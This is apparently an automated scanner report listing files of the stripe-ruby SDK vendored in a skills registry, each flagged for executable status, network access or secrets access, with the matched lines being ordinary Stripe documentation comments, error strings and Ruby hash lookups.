packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/quote_service.rb
- Executable scriptline 1
Executable file - Network accessline 36
# A quote models prices and services for a customer. Default options for header, description, footer, and expires_at can be set in the dashboard via the [quote template](https://dashboard.stripe.com/settings/billing/quote). - Network accessline 57
# Download the PDF for a finalized quote. Explanation for special handling can be found [here](https://docs.stripe.com/quotes/overview#quote_pdf)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/radar/early_fraud_warning_service.rb
- Executable scriptline 1
Executable file - Network accessline 18
# Retrieves the details of an early fraud warning that has previously been created. # # Please refer to the [early fraud warning](https://docs.stripe.com/api#early_fraud_warning_object) object reference for more details. - Network accessline 20
# Please refer to the [early fraud warning](https://docs.stripe.com/api#early_fraud_warning_object) object reference for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/radar/value_list_item_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/radar/value_list_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/radar_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/refund_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/reporting/report_run_service.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/reporting/report_type_service.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/reporting_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/review_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/setup_attempt_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/setup_intent_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# You can cancel a SetupIntent object when it's in one of these statuses: requires_payment_method, requires_confirmation, or requires_action. # # After you cancel it, setup is abandoned and any operations on the SetupIntent fail wit - Network accessline 8
# After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/ex - Network accessline 43
# Creates a SetupIntent object. # # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm) - Network accessline 44
# # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm) # it to collect any required permissions to charge the payment method later. - Network accessline 45
# After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm) - Network accessline 70
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Network accessline 72
# When retrieved with a publishable key, only a subset of properties will be returned. Please refer to the [SetupIntent](https://docs.stripe.com/api#setup_intent_object) object reference for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/shipping_rate_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/sigma/scheduled_query_run_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/sigma_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/source_service.rb
- Executable scriptline 1
Executable file - Network accessline 40
# Updates the specified source by setting the values of the parameters passed. Any parameters not provided will be left unchanged. # # This request accepts the metadata and owner as arguments. It is also possible to update type spec - Network accessline 42
# This request accepts the metadata and owner as arguments. It is also possible to update type specific information for selected payment methods. Please refer to our [payment method guides](https://docs.stripe.com/docs/sources) for more det
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/source_transaction_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/subscription_item_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/subscription_schedule_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/subscription_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/metadata). - Network accessline 7
# # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, - Network accessline 8
# Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, any pe - Network accessline 24
# The payment_behavior parameter determines the exact behavior of the initial payment. # # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/bil - Network accessline 25
# # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead. # Schedules provide the fl - Network accessline 26
# To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead. - Network accessline 93
# Search for subscriptions you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language). - Network accessline 107
# Updates an existing subscription to match the specified parameters. # When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes. # To preview how the proration is cal - Network accessline 108
# When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes. # To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoice - Network accessline 109
# To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoices/create_preview) endpoint. - Network accessline 119
# # # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscriptio - Network accessline 120
# # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription chan - Network accessline 121
# In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription changes](h - Network accessline 122
# # If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create - Network accessline 123
# If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create_prora - Network accessline 125
# If you don't want to prorate, set the proration_behavior option to none. With this option, the customer is billed 100 on May 1 and 200 on June 1. Similarly, if you set proration_behavior to none when switching between different billing in - Network accessline 127
# Updating the quantity on a subscription many times in an hour may result in [rate limiting. If you need to bill for a frequently changing quantity, consider integrating <a href="/docs/billing/subscriptions/usage-based">usage-based billing
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/association_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/calculation_line_item_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/calculation_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/registration_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/settings_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/transaction_line_item_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/transaction_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax_code_service.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax_id_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax_rate_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/terminal/configuration_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/terminal/connection_token_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/terminal/location_service.rb
- Executable scriptline 1
Executable file - Network accessline 7
# Creates a new Location object. # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide. - Network accessline 8
# For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/terminal/onboarding_link_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/terminal/reader_service.rb
- Executable scriptline 1
Executable file - Network accessline 7
# Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details. - Network accessline 18
# Initiates an [input collection flow](https://docs.stripe.com/docs/terminal/features/collect-inputs) on a Reader to display input forms and collect information from your customers. - Network accessline 29
# Initiates a payment flow on a Reader and updates the PaymentIntent with card details before manual confirmation. See [Collecting a Payment method](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=s - Network accessline 40
# Finalizes a payment on a Reader. See [Confirming a Payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=inspect#confirm-the-paymentintent) for more details. - Network accessline 84
# Initiates a payment flow on a Reader. See [process the payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=immediately#process-payment) for more details. - Network accessline 95
# Initiates a SetupIntent flow on a Reader. See [Save directly without charging](https://docs.stripe.com/docs/terminal/features/saving-payment-details/save-directly) for more details. - Network accessline 106
# Initiates an in-person refund on a Reader. See [Refund an Interac Payment](https://docs.stripe.com/docs/terminal/payments/regional?integration-country=CA#refund-an-interac-payment) for more details. - Network accessline 128
# Sets the reader display to show [cart details](https://docs.stripe.com/docs/terminal/features/display).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/terminal_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/confirmation_token_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/customer_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing/authorization_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing/card_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing/personalization_design_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing/transaction_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/refund_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/terminal/reader_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/terminal_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/test_clock_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/inbound_transfer_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/outbound_payment_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/outbound_transfer_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/received_credit_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/received_debit_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/token_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Creates a single-use token that represents a bank account's details. # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account] - Network accessline 7
# You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account](https://docs.stripe.com/api#accounts) where [controller.requirement_collec
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/topup_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/transfer_reversal_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/transfer_service.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/credit_reversal_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/debit_reversal_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/financial_account_features_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/financial_account_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/inbound_transfer_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/outbound_payment_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/outbound_transfer_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/received_credit_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/received_debit_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/transaction_entry_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/transaction_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v1_services.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/billing/meter_event_adjustment_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/billing/meter_event_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/billing/meter_event_session_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/billing/meter_event_stream_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/billing_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/account_link_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/account_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/account_token_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/accounts/person_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/accounts/person_token_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/event_destination_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/event_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2_services.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/webhook_endpoint_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint that notifies the specified url about events from all connected acc - Network accessline 17
# You can also delete webhook endpoints via the [webhook endpoint management](https://dashboard.stripe.com/account/webhooks) page of the Stripe dashboard.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/singleton_api_resource.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/stripe_client.rb
- Executable scriptline 1
Executable file - Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 28
[Credential-related source omitted] - Network accessline 29
raise AuthenticationError, "No API key provided. " 'Set your API key using "client = Stripe::StripeClient.new(<API-KEY>)". ' "You can generate API keys from the Stripe - Network accessline 30
'Set your API key using "client = Stripe::StripeClient.new(<API-KEY>)". ' \ "You can generate API keys from the Stripe web interface. " \ "See https://stripe.com/api for - Network accessline 31
"You can generate API keys from the Stripe web interface. " \ "See https://stripe.com/api for details, or email " \ "support@stripe.com if you have any questions." - Network accessline 32
"See https://stripe.com/api for details, or email " \ - Access to secretsline 37
[Credential-related source omitted] - Network accessline 71
cls = Util.event_notification_classes.fetch(parsed[:type], Stripe::Events::UnknownEventNotification)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/stripe_configuration.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/stripe_context.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/stripe_object.rb
- Executable scriptline 1
Executable file - Network accessline 122
def deleted? @values.fetch(:deleted, false) - Network accessline 123
@values.fetch(:deleted, false) - Network accessline 177
# super specific one-off case to help users debug this property disappearing # see also: https://go/j/DEVSDK-2835 - Network accessline 178
# see also: https://go/j/DEVSDK-2835 - Network accessline 180
raise KeyError, "The 'payment_intent' attribute is no longer available on Invoice objects. " \ "See the docs for more details: https://docs.stripe.com/changelog/basil/2025-03-31/" \ - Network accessline 181
"The 'payment_intent' attribute is no longer available on Invoice objects. " "See the docs for more details: https://docs.stripe.com/changelog/basil/2025-03-31/" - Network accessline 182
"See the docs for more details: https://docs.stripe.com/changelog/basil/2025-03-31/" \ - Network accessline 347
# reopened for monkey patching: # # https://github.com/stripe/stripe-ruby/issues/749 - Network accessline 348
# # https://github.com/stripe/stripe-ruby/issues/749 # - Network accessline 349
# https://github.com/stripe/stripe-ruby/issues/749 - Network accessline 447
# super specific one-off case to help users debug this property disappearing # see also: https://go/j/DEVSDK-2835 - Network accessline 448
# see also: https://go/j/DEVSDK-2835 - Network accessline 451
"\n\n" "-----------------\n " "BREAKING CHANGE \n" "-----------------\n" "The 'payment_intent' attribute is no longer available on Invoice objects.\n\n" "S - Network accessline 455
"The 'payment_intent' attribute is no longer available on Invoice objects.\n\n" \ "See the docs for more details:\n" \ "https://docs.stripe.com/changelog/basil/2025-03-31/" \ - Network accessline 456
"See the docs for more details:\n" \ "https://docs.stripe.com/changelog/basil/2025-03-31/" \ "add-support-for-multiple-partial-payments-on-invoices#why-is-this-a-breaking-change\n" \ - Network accessline 457
"https://docs.stripe.com/changelog/basil/2025-03-31/" \
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/stripe_response.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/stripe_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/util.rb
- Executable scriptline 1
Executable file - Network accessline 143
# TODO: This is a terrible hack. # Waiting on https://go/j/API_SERVICES-3167 to add an object in v2 lists - Network accessline 144
# Waiting on https://go/j/API_SERVICES-3167 to add an object in v2 lists - Network accessline 157
V2::DeletedObject elsif object_name == "v2.core.event" && v2_event_classes.key?(object_type) v2_event_classes.fetch(object_type) - Network accessline 158
elsif object_name == "v2.core.event" && v2_event_classes.key?(object_type) v2_event_classes.fetch(object_type) else - Network accessline 159
v2_event_classes.fetch(object_type) - Network accessline 160
else v2_object_classes.fetch( object_name, StripeObject - Network accessline 161
v2_object_classes.fetch( - Network accessline 164
end else object_classes.fetch(object_name, StripeObject) - Network accessline 165
else object_classes.fetch(object_name, StripeObject) end - Network accessline 166
object_classes.fetch(object_name, StripeObject) - Access to secretsline 308
[Credential-related source omitted] - Network accessline 312
[Credential-related source omitted] - Access to secretsline 312
[Credential-related source omitted] - Network accessline 314
[Credential-related source omitted] - Access to secretsline 314
[Credential-related source omitted] - Access to secretsline 337
[Credential-related source omitted] - Access to secretsline 338
[Credential-related source omitted] - Network accessline 360
[Credential-related source omitted] - Access to secretsline 360
[Credential-related source omitted] - Network accessline 361
[Credential-related source omitted] - Access to secretsline 361
[Credential-related source omitted] - Network accessline 362
"https://dashboard.stripe.com/#{env}/logs/#{request_id}" - Network accessline 408
mode = 0 # default foreground = 30 + COLOR_CODES.fetch(color) - Network accessline 409
foreground = 30 + COLOR_CODES.fetch(color) - Network accessline 410
background = 40 + COLOR_CODES.fetch(:default)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/v2_list_object.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/version.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/webhook.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/account_create_params.rbi
- Network accessline 61
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co - Network accessline 62
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 63
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 80
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co - Network accessline 81
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 82
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 94
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 95
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 96
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 114
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 115
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 116
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1327
sig { params(_number: String).returns(String) } def number=(_number); end # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information a - Network accessline 1328
def number=(_number); end # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { re - Network accessline 1329
# Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 1386
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1387
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1388
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1406
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1407
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 1408
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1429
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1430
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1431
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1478
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1479
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1480
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1605
class Verification < ::Stripe::RequestParams class Document < ::Stripe::RequestParams # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verificat - Network accessline 1606
class Document < ::Stripe::RequestParams # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (sm - Network accessline 1607
